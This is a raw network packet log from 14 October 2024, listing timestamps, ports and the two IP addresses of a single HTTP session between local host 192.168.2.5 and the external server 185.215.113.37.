Oct 14, 2024 13:08:26.807760954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.807771921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.807780981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.807794094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.807802916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.807806015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.807857990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.807866096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.807956934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.807967901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.807977915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.807988882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.807997942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.808002949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.808028936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.808072090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.808094978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.808113098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.808126926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.808132887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.808137894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.808150053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.808160067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.808170080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.808217049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.808662891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.808685064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.808696032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.808706999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.808732033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.808773994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.808784008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.808794022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.808804989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.808823109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.808840990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.808921099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.808931112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.808940887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.808950901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.808960915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.808974028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.808988094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.809016943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.809055090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.809066057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.809076071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.809094906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.809104919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.809114933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.809124947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.809125900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.809134960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.809145927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.809146881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.809166908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.809192896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.849694014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.849710941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.849731922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.849741936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.849754095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.849764109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.849773884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.849773884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.849827051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.849920988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.849931002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.849941015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.849951029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.849960089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.849967003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.849971056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.849982023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.849991083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.849997997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.850001097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.850028038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.850049973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.850075960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.850086927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.850109100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.850116014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.850125074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.850136042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.850145102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.850147963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.850153923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.850159883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.850164890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.850174904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.850186110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.850203037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.850229025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.850398064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.850436926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.850436926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.850447893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.850475073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.850497961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.850521088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.850532055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.850541115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.850550890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.850567102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.850603104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.850658894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.850668907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.850680113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.850689888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.850699902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.850706100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.850709915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.850719929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.850728989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.850752115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.850769997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.851001024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.851011992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.851022005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.851037979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.851044893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.851083994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.851089001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.851099014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.851109028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.851128101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.851165056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.891625881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.891675949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.891693115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.891705036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.891716957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.891719103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.891727924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.891762972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.891804934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.891807079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.891818047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.891829014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.891844988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.891855001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.891859055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.891865015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.891901970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.891942978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.891953945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.891963959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.891973972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.891985893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.891993046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.892020941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.892024994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.892035007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.892045021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.892074108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.892096043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.896827936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.896840096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.896861076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.896877050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.896888018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.896893024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.896898985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.896909952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.896929979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.896958113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.896964073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.896975040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.897011995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.897047043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.897057056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.897068024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.897078991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.897095919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.897125006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.897130013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.897140980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.897181988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.897958040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.897981882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.897991896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.898035049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.898061037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.898072004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.898071051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.898082018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.898092985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.898104906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.898129940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.898169041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.898180008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.898190022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.898201942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.898212910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.898212910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.898224115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.898235083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.898236036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.898273945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.898327112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.898355961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.898371935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.898381948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.898391962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.898397923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.898401976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.898412943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.898422003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.898422956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.898438931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.898444891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.898451090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.898462057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.898473978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.898482084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.898521900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.987523079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.987535954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.987545967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.987556934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.987566948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.987576962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.987587929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.987597942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.987601995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.987658024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.987663984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.987674952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.987684965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.987694979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.987704992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.987711906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.987715960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.987725973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.987735033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.987760067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.987796068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.987807035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.987817049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.987833977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.987833977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.987843990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.987857103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.987873077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.987884045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.987893105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.987893105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.987904072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.987914085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.987925053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.987927914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.987936020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.987951994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.987974882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.987999916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.988034964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.988116980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.988127947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.988137960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.988148928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.988157034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.988158941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.988168955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.988200903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.988230944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.988240957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.988275051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.121417999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.126445055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.345761061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.345851898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.345863104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.345897913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.345911980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.345921040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.345921993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.345931053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.345940113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.345948935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.345961094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.345983982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.345993996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346004009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346012115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.346014977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346024036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346029997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346064091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346074104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346080065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.346084118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346088886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.346090078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346108913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.346133947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346142054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.346172094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.346172094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346194029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346204042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346213102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346234083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.346234083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346245050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346266985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.346276999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346297979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.346297979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.346311092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.346342087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346353054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346362114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346373081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346388102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.346415043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.346443892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346453905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346472979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346488953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.346498966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346509933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346514940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.346520901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346530914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346546888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346549988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.346558094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.346558094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346596003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.346607924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.346640110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.346651077 CEST	80	49704	185.215.113.37	192.168.2.5
